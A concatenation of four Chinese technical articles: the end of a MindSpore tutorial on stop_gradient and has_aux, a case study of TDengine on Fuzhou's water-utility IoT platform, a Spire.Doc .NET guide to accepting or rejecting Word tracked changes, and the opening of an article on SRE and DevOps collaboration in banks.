    • 屏蔽无关输出项的梯度回传,让微分函数只计算「目标项(loss)」的梯度;
    • 阻止梯度从当前 Tensor 流向计算图的上游节点,不改变 Tensor 的数值,仅改变梯度传播属性。
    • 核心特性:stop_gradient(z) 只会修改 z 的梯度传播标记,不会改变 z 的数值本身,我们依然可以正常获取和使用 z 的值,只是它不再参与梯度计算。

    实战:使用 Stop Gradient 修正梯度计算

    只需要对不需要参与梯度计算的输出项(本例中的 z)包裹stop_gradient,即可实现「仅 loss 求梯度」:

    def function_stop_gradient(x, y, w, b):
        z = ops.matmul(x, w) + b
        loss = ops.binary_cross_entropy_with_logits(z, y, ops.ones_like(z), ops.ones_like(z))
        return loss, ops.stop_gradient(z)  # 对z进行梯度截断
    
    # 生成微分函数并求梯度
    grad_fn = mindspore.grad(function_stop_gradient, (2, 3))
    grads = grad_fn(x, y, w, b)
    print("梯度截断后的梯度值:\n", grads)

    运行结果:

    梯度截断后的梯度值:
    (Tensor(shape=[5, 3], dtype=Float32, value=
    [[ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02],
    [ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02],
    [ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02],
    [ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02],
    [ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02]]), Tensor(shape=[3], dtype=Float32, value= [ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02]))

    结果验证:此时的梯度值与「单输出函数仅返回 loss」的梯度值完全一致,问题完美解决!

    解决方案二:has_aux=True 自动处理辅助数据【推荐最佳实践】

    辅助数据(Auxiliary data)定义

    • 在 MindSpore 的自动微分体系中,辅助数据 特指:前向函数中「除第一个输出项外的其他所有输出项」。
    • 行业通用约定:前向函数的第一个返回值必须是损失值 loss,其余返回值均为辅助数据(如预测值、中间特征、准确率等)。
    • 我们训练模型的核心诉求永远是「求 loss 对参数的梯度」,辅助数据只是为了监控训练过程,不需要参与梯度计算。

    has_aux 参数的核心能力

    • mindspore.grad 和 mindspore.value_and_grad 都提供了 has_aux 布尔型参数,当设置 has_aux=True 时:
    • 自动将函数的「第一个输出项」作为梯度计算的唯一目标(仅求 loss 的梯度);
    • 自动对「所有辅助数据」执行梯度截断(等价于手动加stop_gradient);
    • 微分函数的返回值会拆分为「梯度结果 + 辅助数据元组」,无需手动处理;
    • 语法更简洁,无需修改原函数的返回逻辑,是处理多输出函数的最优解。

    实战:has_aux=True 优雅实现梯度计算 + 辅助数据返回

    # 复用未做任何修改的多输出函数 function_with_logits
    def function_with_logits(x, y, w, b):
        z = ops.matmul(x, w) + b
        loss = ops.binary_cross_entropy_with_logits(z, y, ops.ones_like(z), ops.ones_like(z))
        return loss, z
    
    # 仅需添加 has_aux=True,无需手动截断梯度
    grad_fn = mindspore.grad(function_with_logits, (2, 3), has_aux=True)
    grads, (z,) = grad_fn(x, y, w, b) # 解构:梯度 + 辅助数据
    print("梯度值(与单输出一致):\n", grads)
    print("辅助数据z(预测值):\n", z)

    运行结果:

    梯度值(与单输出一致):
    (Tensor(shape=[5, 3], dtype=Float32, value=
    [[ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02],
    [ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02],
    [ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02],
    [ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02],
    [ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02]]), Tensor(shape=[3], dtype=Float32, value= [ 3.26189250e-01, 1.58914644e-02, 4.21645455e-02]))
    辅助数据z(预测值):
    [ 3.8211915 -2.994512 -1.932323 ]

    两大方案对比与选型建议

    • Stop Gradient:适合「精细化梯度控制」,比如只对函数中某一个中间张量截断梯度,而非所有辅助数据;灵活性高,适合复杂场景;
    • has_aux=True:适合「标准多输出场景」,只要满足「第一个返回值是 loss」的约定,无脑使用即可;简洁高效,推荐优先使用;

    核心总结

    • 多输出函数的默认梯度计算是「所有输出项梯度之和」,会导致梯度失真,必须做梯度截断处理;
    • stop_gradient 是梯度截断的基础 API,核心是「消除指定 Tensor 的梯度影响,不改变数值」;
    • has_aux=True 是辅助数据的最优解,自动截断辅助数据梯度,推荐在标准场景中使用;
    • 梯度截断的核心目的:让模型的梯度计算始终围绕「损失函数」展开,保证参数更新的正确性。

    小T导读:在福州水务统一物联网接入平台项目中,基于 TDengine TSDB,我们实现了水厂、管网等多源水务数据的统一存储与管理,并同时满足了水表平台、产销差系统等多业务系统对数据的高效检索与共享需求。TDengine TSDB “一个采集点一张表” 的建模方式完美契合物联网平台对设备级数据的统一管理需求,其卓越的读写性能与数据压缩能力,有效应对了百万设备数据管理的技术挑战。此外,其还支持标准 SQL,简化了应用开发;具备多副本高可用机制,保障业务连续性;并提供多数据源的零代码写入与数据同步功能,为平台业务拓展与平台间数据同步提供了技术基础。本文将结合项目的具体实践,与大家分享 TDengine TSDB 在福州水务统一物联网接入平台中的应用经验与成效。

    项目背景

    水务数据是一种重要的公共数据,规模大、社会关注度高,而且来源多,种类繁杂,不易收集和管理。实现“智慧水务”理念的前提是统一管理分布在各个水厂、各个供/排水环节的众多设备数据,只有将数据接入到统一的物联网平台后,才能在此基础上开发水务生产环节的各个功能,从而建立信息互通平台,实现水务统一平台、统一管理、统一数据、统一服务,避免重复建设,打破数据壁垒,保障数据资源的高效使用和安全可靠。

    为此,我们结合福州水务发展战略与实际业务的需求,建设了福州水务统一物联网接入平台,为供排水业务提供统一数据接入与设备管理能力。

    存在问题

    统一物联网接入平台面临如下技术难题:

    标准不统一,设备管理割裂,建模难度大

    在统一物联网平台建设前,设备管理主要依赖各厂家自建平台,管理割裂、数据分散。

    统一物联网平台要完成供水、排水、重点工程项目等相关设备数据的统一存储,具体包括:

    • 供水水厂、增压站数据
    • 供水/排水管网监控数据
    • 二次供水泵房数据
    • 水表数据
    • 雨污泵站数据
    • 污水厂数据

    这些设备类型繁多、协议标准不统一,且缺乏统一的全生命周期管理机制。数据源分散在多个系统中,与平台“统一管理全部数据”的目标形成天然矛盾。如何通过合理的数据建模,在单一框架下兼容多种设备类型,并同时满足后续灵活的检索与分析需求,成为项目面临的主要挑战。

    超百万设备数据持续写入,带来性能挑战

    福州有多个水厂,设备数量达到百万级,统一管理这些设备就意味着要承载所有设备不间断的数据写入压力,而且新设备随时可能接入,平台很难提前对所有设备建表,这对平台的写入能力以及建模灵活性提出了很高的要求。

    海量数据长期存储带来的存储成本压力

    平台需要接入上百万设备的数据并实现长期存储,这些数据量级很大,价值密度却很低,既需要尽可能降低存储成本,还要在进行长期统计计算时保障数据查询时效性,平台要设法兼顾这两方面的需求。

    系统大数据量查询,面临性能瓶颈

    平台需要为水表平台、产销差系统、综合调度系统、智慧水厂等系统提供实时数据查询、历史数据查询、页面展示、统计报表等业务支持,大量业务应用的并发访问,对底层数据系统的承载能力而言是很大的挑战。二供(二次供水)平台之前使用的 InfluxDB 就曾因查询压力过大导致延迟过高,影响了业务应用。

    解决方案

    为解决上述问题,统一物联网接入平台不仅需要良好的顶层设计,还需要功能性能强大且稳定可靠的专业数据库提供底层数据能力支撑。水务设备数据是典型的时序数据,因此我们的数据库选型目标定为时序数据库。

    经过对大量时序库的调研,综合考虑成本、功能、性能、稳定性等各个方面,我们最终选择了 TDengine TSDB 作为统一物联网接入平台的时序数据管理引擎。

    TDengine TSDB 是一款专为物联网、工业互联网等场景设计与优化的大数据平台,其诸多特性恰好能够解决我们在统一物联网平台建设中遇到的痛点问题:

    1. 其特有的 “一个采集点一张表” 建模理念,简直是为解决多系统数据统一建模问题量身定制
    2. 其高写入性能以及无模式写入功能,使得百万设备数据写入带来的技术问题迎刃而解
    3. 其针对时序数据的高效压缩能力解决了百万级设备数据长期存储的成本难题
    4. 其高效查询性能解决了对统一物联网平台而言极为关键的查询性能问题

    多系统数据统一管理 —— 一个采集点一张表

    我们首先参考福州地标、企标,建立了统一的数据接入协议标准,包含供水领域水厂、管网、水表、二供泵房、加压泵站、排水泵站、排水管网检测设备、水质监测设备等设备设施类型。如下图所示,红框标注的是一部分已标准化的协议。

    标准化协议解决了统一接入的问题,下一步就是统一建模。

    虽然平台接入的设备种类繁杂型号多样,但只要是设备数据,其数据结构就存在共性:每个设备都有采集的物理量以及设备自身的描述信息(标签)。物理量会随着时间不断变化,而标签数据则是静态的不会随时间变化。

    TDengine TSDB “一个采集点一张表” 的数据建模方法正是针对设备数据的特点而设计:每个设备对应一张表,设备采集的物理量对应表的数据列,设备自身信息例如设备编号则对应标签(TAG)列。把静态的标签数据与动态的采集数据分开,任何设备都可套用这个建模方法,极大降低了我们的数据建模难度。

    采用上述方法,数据库中要创建上百万张表来对应上百万的设备,当需要对同类型设备进行聚合查询时显然会十分不便。TDengine TSDB 的 “超级表-子表” 设计解决了这个问题:对于同一类设备,提取其数据结构创建一张 “超级表” ,具体的设备数据则记录在该超级表名下的对应“子表”中,当需要对某类设备进行聚合查询时,直接查询其对应的超级表即可,避免了多表之间的重复查询和拼接等操作,十分高效便捷。超级表-子表的关系如下图所示。

    在福州水务统一物联网接入平台项目中,我们共计创建了 1 个业务 DB 名为 fziot,一百余张超级表,超过 190 万张子表。统一物联网平台接入的设备数量目前还在一直增长,设备总数已经超过 100 万,增长变化量如下图所示:

    百万级设备数据写入 —— 高性能与无模式写入功能

    高性能

    TDengine TSDB 的核心竞争力在于其卓越的写入和查询性能。相较于传统的通用型数据库,TDengine TSDB 充分利用了时序数据的时间有序性、连续性和高并发特点,自主研发了一套专为时序数据定制的写入及存储算法,“一个数据采集点一张表” 的设计不仅有利于设备建模与管理,还能大幅提升写入性能。

    • 自研的行列格式数据结构,能够更充分利用时序数据的特点,实现高性能与低空间占用;
    • 单表的数据按块连续存储,数据块内采取列式存储,保证单个数据采集点的插入和查询效率最优;
    • 由于不同数据采集点产生数据的过程完全独立,每个数据采集点的数据源唯一,一张表只有一个写入者,可采用无锁方式写入,从而性能大幅提升;
    • 对于一个数据采集点而言,其产生数据是按照时间排序的,写操作可用追加方式实现,进一步大幅提高数据写入速度。

    极高的数据写入性能使得 TDengine TSDB 能够轻松承接统一物联网平台的数据写入压力,自投入使用以来,从未因写入性能不足出现阻塞与延迟。

    无模式写入

    物联网平台的数据来自多个系统,设备的数量一直在动态变化,因此无法提前为所有设备创建好对应的表,这就要求数据库能够在数据写入时自动判断并建表。

    TDengine TSDB 提供无模式(schemaless)写入方式,无需预先创建超级表或子表,TDengine TSDB 会根据实际写入的数据自动创建相应的存储结构。此外,在必要时,无模式写入方式还能自动添加必要的数据列或标签列,确保写入的数据能够被正确存储。

    无模式写入示例如下,TAG 列、数据列、主键时间戳之间用空格分开:

    properties_testabc1,deviceId=testdevice1   createTime=1746669509685i,temperature=38.5 1746669509684000000

    该写入语句,可向名为 properties\_testabc1 的超级表写入数据,TAG 列 deviceId,赋值为 testdevice1,两个数据列分别为 createTime、temperature,赋值为 1746669509685i、38.5 ,最后一个数字是这一条记录的时间戳。如果该子表已经存在(TAG 列内容完全一致),则自动写入已存在子表中,若不存在,则自动创建新子表并写入。

    海量数据长期存储 —— 专业压缩算法

    TDengine TSDB 是专门为时序数据管理打造的大数据平台,对数据压缩进行了特殊设计:

    • 在存储架构上采用了列式存储技术,与传统的行式存储不同,列式存储与时序数据的特性相结合,尤其适合处理平稳变化的时序数据;
    • 为了进一步提高存储和数据压缩效率,TDengine TSDB 采用了差值编码技术,通过计算相邻数据点之间的差异来存储数据,而不是直接存储原始值,从而大幅度减少存储所需的信息量;
    • 在差值编码之后,TDengine TSDB 还会使用通用的压缩技术对数据进行二次压缩,以实现更高的压缩率。

    针对性的存储技术以及两级数据压缩,使得 TDengine TSDB 对时序数据的压缩效率显著高于其它产品

    统一物联网平台从 2023 年 8 月正式投入使用,至今还在不断增加接入的设备数量,目前已经接入了超过 100 万各型设备,TDengine TSDB 三节点三副本集群,目前共计使用磁盘空间 8.1 TB (截至 2025 年 5 月),相比市场上同类产品,数据压缩率优势明显。

    多系统数据大数据量查询 —— 高性能查询

    为实现海量数据规模下的高性能查询,TDengine TSDB 从多个维度进行了精心的设计:

    1. 采用分片策略,充分利用了硬件资源。TDengine TSDB 按照分布式高可靠架构进行设计,通过节点虚拟化并辅以负载均衡技术,将一个 dnode 根据其计算和存储资源切分为多个 vnode,对于单个数据采集点,无论其数据量有多大,一个 vnode 都拥有足够的计算资源和存储资源来应对,能最高效率地利用异构集群中的计算和存储资源降低硬件投资。
    2. 采用分区策略,按时间条件检索时避免了遍历过程。除了通过 vnode 进行数据分片以外,TDengine TSDB 还采用按时间段对时序数据进行分区的策略。每个数据文件仅包含一个特定时间段的时序数据,避免了遍历,简化了数据管理,还便于高效实施数据的保留策略。
    3. 标签数据与时序数据完全分离存储,显著降低标签数据存储的冗余度,实现了极为高效的多表之间的聚合查询。在常见的 NoSQL 数据库或时序数据库中,一般采用 Key-Value 存储模型,导致每条记录都携带大量重复的标签信息,如果需要在历史数据上增加、修改或删除标签,就必须遍历整个数据集并重新写入,TDengine TSDB 通过将标签数据与时序数据分离存储,有效避免了这些问题,大大减少了存储空间的浪费,并降低了标签数据操作的成本;在进行多表之间的聚合查询时,TDengine TSDB 首先根据标签过滤条件找出符合条件的表,然后查找这些表对应的数据块。显著减少了需要扫描的数据集大小,从而大幅提高了查询效率。
    4. 采用了 LSM 存储结构,进一步优化读写性能。时序数据在 vnode 中是通过 TSDB 引擎进行存储的。鉴于时序数据的海量特性及其持续的写入流量,若使用传统的 B+Tree 结构来存储,随着数据量的增长,树的高度会迅速增加,这将导致查询和写入性能的急剧下降,最终可能使引擎变得不可用。鉴于此,TDengine TSDB 选择了 LSM 存储结构来处理时序数据。LSM 通过日志结构的存储方式,优化了数据的写入性能,并通过后台合并操作来减少存储空间的占用和提高查询效率,从而确保了时序数据的存储和访问性能。
    5. 时序数据文件内部进行了针对性优化。data 文件是实际存储时序数据的文件,在 data 文件中,时序数据以数据块的形式进行存储,每个数据块包含了一定量数据的列式存储。根据数据类型和压缩配置,数据块采用了不同的压缩算法进行压缩,以减少存储空间的占用并提高数据传输的效率。每个数据块在 data 文件中独立存储,代表了一张表在特定时间范围内的数据。这种设计方式使得数据的管理和查询更加灵活和高效。通过将数据按块存储,并结合列式存储和压缩技术,TSDB 引擎可以更有效地处理和访问时序数据,从而满足大数据量和高速查询的需求。

    统一物联网平台,不仅把多系统的数据集中统一管理,也同时承接了多系统的数据应用业务,过去分散在各个系统的业务访问压力现在都集中到了一起。

    使用 TDengine TSDB 带来的性能提升十分明显,例如二次供水泵房数据数据过去存储在二供平台,大数据中心向二供平台抽取生产数据用于分析应用,当时二供平台采用的底层时序库是 InfluxDB,大数据中心每小时抽取一次二供数据,结果由于压力过大,导致 InfluxDB 延迟现象严重,影响到了正常业务运行。

    数据抽取 SQL 如下:

     "sql":"select \"time\",\"cid\",\"devid\",\"tag\",\"value\" from (select mean(value) as value  from \"raw\" where time >= #influx_start_time# and time < #influx_end_time# group by *,time(1m))"

    在统一物联网平台建设完成后,统一使用 TDengine TSDB 支持各个系统的数据查询业务,同样的业务,在使用 TDengine TSDB 后只需 1 分多钟即可抽取完毕,且能够持续稳定运行

    使用 TDengine TSDB 后的抽取 SQL:

    SQL
    select last(_ts,`createTime`,`numberValue`,`value`),`deviceId`,`property` from fziot2.properties_egbf_new where _ts >= #ts_start# and _ts < #ts_end# and `createTime` >= to_unixtimestamp(#createtime_start#) and `createTime` < to_unixtimestamp(#createtime_end#) partition by `deviceId`,property  interval(1h)

    定时抽取业务运行情况如下,可见稳定且高效:

    TDengine 带来的其它优势

    依托强大的功能与性能优势,TDengine TSDB 成功应对了上述技术难题。作为一款分布式大数据引擎,其还具备很多传统数据库软件不具备的特殊功能,给我们带来了意料之外的优势。

    支持 SQL 语句,应用开发十分便利

    与实时库需要开发者专门学习数据库特有 API 不同,TDengine TSDB 支持标准 SQL ,开发人员不需要太多学习成本就能上手使用,TDengine TSDB 还针对时序数据特点提供了许多特色查询 SQL ,对我们开发新功能、新应用提供了很大的便利。

    支持高可用,保障了业务稳定性

    对于水务系统的数据平台而言,业务的持续性十分重要。TDengine TSDB 作为分布式时序数据库,支持高可用特性,基于 RAFT 协议的标准三副本方案,能够保障集群中有 1 个节点损坏时,业务不受影响,这对我们而言十分有必要。

    支持多种数据源零代码接入

    TDengine TSDB 支持以零代码方式将来自不同数据源的数据无缝导入,而且无需额外部署 ETL 工具,即可对数据进行自动提取、过滤和转换。不同 TDengine TSDB 集群之间也可以很方便地通过 taosX 进行数据同步。这为我们将来进行多数据平台数据统一管理,以及平台间数据同步等工作提供了技术基础,使得数据平台的可拓展性大大提高。

    展望

    统一物联网接入平台实现了数据的统一采集汇聚分发、设备生命周期管理、实时预警信息推送等功能,加快公司信息化建设速度,减少重复数据建设造成的成本浪费,提升工作效率。

    福州水务统一物联网接入平台目前接入的设备数量已经超过 100 万且还在增长,TDengine TSDB 作为底层支持系统表现优异。未来我们将和 TDengine 一起,为水务领域的企业数字化建设做出更多的贡献。

    关于城建数智科技

    福州市城建数智科技有限公司于 2022 年 7 月成立,是福州城建设计研究院有限公司的全资子公司,重点服务于水务企业,提供咨询规划、软件开发、运维保障等技术服务工作,公司以水务 GIS 平台、大数据平台、物联网平台、水务智慧大脑为核心。提供供水和排水一体化解决方案,并逐步扩展供排水硬件设备的供应业务,发展自动化控制,提供设备安装、检修、校验等服务,更好地对外输出水务领域的数字化解决方案以及相关的软、硬件产品。

    作者信息

    本文作者:陈欣

    Microsoft Word 的“修订”功能可以记录文档中的修改、校对、更正,以及他人添加的建议和批注。当你收到一份开启了修订模式的 Word 文档时,可以根据需要选择拒绝这些修改以保留原始内容,或者直接接受所有修改。本文将演示如何使用 Spire.Doc for .NET,通过代码的方式批量接受或拒绝 Word 文档中的所有修订内容。

    安装 Spire.Doc for .NET

    首先,需要将 Spire.Doc for .NET 包中的 DLL 文件添加为 .NET 项目的引用。你可以通过官网下载对应的 DLL 文件,手动添加到项目中;也可以使用 NuGet 方式进行安装,更加方便快捷。

    PM> Install-Package Spire.Doc

    在 Word 文档中接受所有修订

    具体操作步骤如下:

    1. 创建一个 Document 对象。
    2. 使用 Document.LoadFromFile() 方法加载示例 Word 文档。
    3. 调用 Document.AcceptChanges() 方法,接受文档中的所有修订内容。
    4. 使用 Document.SaveToFile() 方法将处理后的文档保存为新的文件。

    具体示例代码如下:

    using Spire.Doc;
    
    namespace AcceptTrackedChanges
    {
        class Program
        {
            static void Main(string[] args)
            {
                // 创建 Document 对象
                Document doc = new Document();
    
                // 加载示例 Word 文档
                doc.LoadFromFile("test.docx");
    
                // 接受文档中的所有修订
                doc.AcceptChanges();
    
                // 保存结果文档
                doc.SaveToFile("AcceptTrackedChanges.docx", FileFormat.Docx);
            }
        }
    }

    在 Word 文档中拒绝所有修订

    具体操作步骤如下:

    1. 创建一个 Document 对象。
    2. 使用 Document.LoadFromFile() 方法加载示例 Word 文档。
    3. 调用 Document.RejectChanges() 方法,拒绝文档中的所有修订内容。
    4. 使用 Document.SaveToFile() 方法将处理后的文档保存为新的文件。

    具体示例代码如下:

    using Spire.Doc;
    
    namespace RejectTrackedChanges
    {
        class Program
        {
            static void Main(string[] args)
            {
                // 创建 Document 对象
                Document doc = new Document();
    
                // 加载示例 Word 文档
                doc.LoadFromFile("test.docx");
    
                // 拒绝文档中的所有修订
                doc.RejectChanges();
    
                // 保存结果文档
                doc.SaveToFile("RejectAllChanges.docx", FileFormat.Docx);
            }
        }
    }

    申请临时许可证

    如果你希望移除生成文档中的评估提示,或解除功能上的限制,可以申请一份有效期为 30 天的临时许可证进行使用。

    本文来自腾讯蓝鲸智云社区用户: CanWay

    直达原文:【SRE转型】银行SRE和DevOps团队的协作

    摘要:本文通过深入分析SRE和DevOps在银行中的角色与职责,详细阐述了它们在核心协作点上的紧密配合,尤其是在自动化流程、SLO与CI/CD的结合、故障响应、性能优化等关键领域的协作。通过表格的方式,我们展示了在软件全生命周期中,SRE与DevOps如何协同工作,确保银行系统的高可用性、弹性和持续创新。

    涉及关键词:银行运维,SRE转型,DevOps协同

    01.引言

    在现代银行的信息化转型过程中,系统的稳定性、性能和灵活性变得尤为重要。随着金融科技的快速发展,银行面临着不断变化的市场需求和技术挑战,传统的运维模式已经难以满足新业务需求。为了提高系统的可靠性、降低故障恢复时间,并支持快速创新,银行开始逐渐采用Site Reliability Engineering(SRE)与DevOps模式。这两种模式虽各具特点,但在提升系统可靠性、加速交付和推动自动化方面有着共同的目标和深度的协同潜力。

    1)SRE和DevOps的背景

    SRE起源于Google,它提出了一个通过工程化手段提升服务可靠性的全新模式,强调服务级别目标(SLO)、自动化运维、容量规划和故障响应等方面的实践。而DevOps则是一种文化和实践模式,旨在促进开发与运维之间的紧密协作,推动持续集成与持续交付(CI/CD),并通过自动化工具链提升系统开发和运维的效率。两者的结合,为金融行业的数字化转型提供了有效的支持,尤其是在保证高可用性和灵活性的同时,能够支持快速部署和频繁迭代。

    2)银行面临的挑战

    银行的运维面临着多方面的挑战。首先,银行系统的业务性质决定了其对稳定性、可用性和合规性的高要求。例如,支付系统、账户管理系统和核心业务系统通常涉及大量敏感数据,一旦发生故障,不仅会影响用户体验,还可能引发严重的合规风险。其次,随着互联网金融的崛起,银行的技术架构逐渐向分布式系统转型,增加了系统的复杂性和维护难度。最后,银行对业务的快速响应能力要求越来越高,而传统的运维模式和技术架构往往难以支持这种需求。

    为了应对这些挑战,银行需要在系统设计、开发流程、运维管理等方面进行持续改进。SRE与DevOps的结合,通过增强的自动化、系统可观测性以及跨部门协作,成为解决这些问题的有效途径。

    02.银行SRE和DevOps的角色与职责

    在现代银行的数字化转型中,SRE(Site Reliability Engineering)与DevOps是两个不可或缺的角色。虽然它们有不同的起源和重点,但都致力于通过技术手段提升系统可靠性、提升开发效率并支持快速交付。两者的角色和职责密切相关,相辅相成,确保银行系统在高压力、高频变化的环境中能持续稳定运行,并能够快速响应市场需求。理解SRE与DevOps的具体职责和核心作用是实现跨团队协作的基础。

    1)SRE团队的主要职责

    SRE起源于Google,其核心目的是通过工程化手段提升服务的可靠性与可用性。SRE团队通常由具备深厚技术背景的工程师组成,主要职责包括:

    1.可靠性工程与SLO管理:可靠性是SRE的核心职责之一。SRE团队通过定义并管理服务级别目标(SLO),来确保系统能够达到预期的可用性和性能标准。通过设定SLO、服务级别指标(SLI)和错误预算(Error Budget),SRE团队可以有效地评估服务健康状况,做出合理的风险管理决策。银行系统需要高可用性,而SLO的管理能帮助确保系统在各种复杂情境下的稳定运行。

    2.自动化与基础设施管理:自动化是SRE的一项重要原则,它帮助减少人为错误并提高效率。SRE团队负责实施自动化运维,涵盖了从自动化部署到自动化监控、自动化故障修复等多个领域。在银行的数字化转型过程中,自动化部署、容灾恢复和弹性扩容等能力,都是确保高可用性的关键。

    3.容量规划与性能优化:SRE团队负责分析和预测系统的资源需求,进行容量规划,确保系统能够应对不断变化的负载。银行的核心系统、渠道服务和产品服务往往有极高的负载要求,SRE团队通过准确的容量规划,确保系统在业务高峰期仍能稳定运行。

    4.事件响应与根因分析:当系统出现故障时,SRE团队负责快速响应并恢复服务。通过事件管理流程,SRE团队能够及时分析故障的根本原因,并提出改进措施,减少未来类似问题的发生。此外,SRE还会在事后进行根因分析(RCA),并通过后期回顾推动系统改进和防止故障重演。

    5.持续改进与优化:SRE不仅仅是维持系统的稳定性,还致力于通过不断的系统优化和改进,提升服务的质量。通过监控系统健康、故障响应和容量扩展等方式,SRE团队可以发现潜在的瓶颈和问题,推动技术创新以提升系统的可扩展性和弹性。

    2)DevOps团队的主要职责

    DevOps(Development and Operations)是一种文化与实践模式,旨在打破开发与运维之间的壁垒,通过加强协作、自动化和持续反馈提升软件交付的速度和质量。DevOps团队的主要职责包括:

    1.开发与运维的协作:DevOps的核心目标是打破开发与运维之间的隔阂。DevOps团队的职责之一是推动开发与运维团队之间的密切协作,确保从代码开发到部署上线的各个环节能够流畅对接。DevOps工程师会通过协作工具、自动化平台等手段,实现开发与运维之间的信息流动和责任共享。

    2.持续集成与持续交付(CI/CD):DevOps团队负责设计和实施持续集成和持续交付(CI/CD)管道。这些自动化流程能够帮助银行系统在不断变化的环境中,快速、高效地交付新功能或修复。通过自动化测试、构建、部署等流程,DevOps确保了应用的稳定性和快速迭代。

    3.基础设施即代码(IaC):基础设施即代码(IaC)是DevOps的核心实践之一。DevOps团队通过将基础设施的配置、管理和版本控制代码化,帮助银行实现基础设施的自动化管理和快速恢复。这样一来,银行可以根据需求迅速调整其基础设施,提升系统的灵活性和弹性。

    4.敏捷开发与快速反馈:DevOps团队支持敏捷开发模式,通过快速反馈机制确保开发、测试、运维等各个环节能够协同工作。借助敏捷方法,DevOps帮助银行开发团队在不断变化的市场环境中,快速响应业务需求并优化产品。通过频繁的小范围迭代,银行能持续推动技术创新并提高产品质量。

    3)SRE与DevOps的共同目标

    尽管SRE和DevOps在职能上有所不同,但两者有着共同的目标:提升系统的可靠性、可用性和敏捷性。在银行业务中,SRE与DevOps不仅在各自的专业领域内发挥重要作用,还通过跨部门的协作,共同推进技术革新与业务发展。

    1.提升系统可靠性:通过精细化的监控、快速响应机制和故障分析,确保系统在高压力的环境下持续运行。

    2.推动自动化与效率:SRE与DevOps都注重自动化,推动从代码部署到故障恢复的各个环节的自动化,以提高运维效率和开发速度。

    3.加速产品交付:通过高效的CI/CD管道、自动化工具链,缩短开发和运维之间的周期,支持银行产品快速上市。

    03.SRE和DevOps的核心协作点

    SRE与DevOps虽然各自有独立的职责和重点,但它们的目标是高度一致的:提升系统可靠性、加速交付,并通过自动化和工程化手段优化运营效率。在银行的数字化转型中,SRE与DevOps之间的协作至关重要,只有两者紧密配合,才能确保银行系统在快速变化的市场环境中持续提供高可靠性、高性能的服务。

    以下是SRE与DevOps的核心协作点,这些协作不仅能提升团队间的工作效率,还能推动银行系统的持续改进和创新。

    1)自动化流程与工具链协作

    自动化是SRE与DevOps共同的核心目标。DevOps致力于通过持续集成(CI)和持续交付(CD)来加速代码的交付速度,而SRE则通过自动化运维和故障恢复等手段,确保系统在持续变化中保持可靠性。

    DevOps负责

    • 设计并实现CI/CD管道,通过自动化构建、测试和部署,提升开发效率。
    • 在开发流程中加入自动化测试,确保代码质量和功能的稳定性。

    SRE负责

    • 自动化基础设施管理,包括自动扩容、自动化故障恢复等,保证系统在高负载或故障时能迅速恢复。
    • 通过自动化监控和警报管理,实时监控系统健康状态,确保任何异常都能被及时发现并处理。

    协作点:SRE与DevOps需要共同选择合适的工具链和自动化平台。例如,SRE与DevOps可以协作使用容器编排工具来实现自动扩容,或者使用自动化配置管理工具来管理基础设施。

    2)SLO与CI/CD的结合

    在DevOps中,持续交付要求开发团队能够频繁交付新功能,而在SRE中,服务级别目标(SLO)则确保系统在发布和更新过程中不会影响用户体验或系统稳定性。两者的结合至关重要,SLO可以作为DevOps管道中的一部分,帮助开发团队在发布过程中对可靠性进行严格把控。

    DevOps负责

    • 集成SLO的评估到CI/CD管道中,在每次构建和部署时评估服务的可用性和性能。
    • 自动化回滚机制,以便在违反SLO的情况下,能够快速回滚到稳定的版本。

    SRE负责

    • 设定SLO,并根据业务需求、用户期望以及系统架构确定合理的服务级别指标(SLI)。
    • 提供SLO达成情况的监控数据,及时反馈给开发团队,帮助其优化代码和部署策略。

    协作点:SRE与DevOps共同定义和优化SLO,确保开发团队在交付新功能时不会牺牲系统的可靠性。通过自动化的测试和验证机制,DevOps团队能够快速检测和确认SLO是否达成,必要时能够触发自动回滚操作。

    3)故障响应与问题解决

    无论是SRE还是DevOps,都需要关注故障的快速响应和问题的根本原因分析。SRE侧重于通过系统设计、容量规划和实时监控确保系统的高可靠性,而DevOps则通过自动化工具链和敏捷开发实践确保快速交付和高效迭代。在发生故障时,SRE与DevOps的协作尤为重要。

    DevOps负责

    • 实施故障预防措施,确保开发过程中通过自动化测试、静态代码分析等手段减少潜在问题的发生。
    • 在CI/CD管道中集成故障检测和回滚机制,确保发布的新版本不会影响系统稳定性。

    SRE负责

    • 在故障发生后,SRE团队负责快速响应并进行问题根因分析,提供改进建议,避免类似问题再次发生。
    • 通过事件管理流程协调DevOps团队的恢复工作,并结合SLO、SLI等指标,评估故障的影响范围和恢复优先级。

    协作点:SRE与DevOps在故障响应过程中需要紧密合作,SRE提供针对故障的分析与优化方案,DevOps则可以快速实施修复或回滚操作,确保业务连续性。通过集成自动化工具和事件管理平台,两者可以更高效地协调工作。

    4)容量规划与性能优化

    在银行的核心系统中,容量规划和性能优化是确保高可用性和高性能的关键。SRE与DevOps可以通过协作共同确保系统能够满足不断变化的业务需求。

    DevOps负责

    • 在CI/CD过程中,优化系统性能,确保代码上线前经过性能测试。
    • 通过容器化技术和自动化管理,确保开发与生产环境的一致性,减少性能差异。

    SRE负责

    • 根据业务的增长预测,进行容量规划,确保系统资源能够根据需求动态扩展。
    • 通过精细化的监控和性能分析,发现性能瓶颈,并提供改进方案。

    协作点:SRE与DevOps团队可以一起协作进行性能测试和容量规划,DevOps提供相关的部署和测试支持,SRE则根据实时监控数据进行容量扩展和性能调优,确保系统始终保持最佳的性能状态。

    5)文化与协作机制的推动

    SRE和DevOps都强调团队协作和文化建设。特别是在银行这样的复杂环境中,SRE与DevOps的密切合作不仅限于技术层面,还包括文化层面的融合与互动。

    DevOps负责

    • 推动开发和运维团队之间的协作文化,确保两者在跨职能的工作中紧密配合。
    • 促进敏捷开发实践,快速迭代和频繁交付。

    SRE负责

    • 提供系统可靠性的文化理念,倡导“容错与持续改进”的理念,帮助团队不断提升系统稳定性。
    • 支持DevOps团队在快速发布新版本时,确保不妥协系统的可靠性。

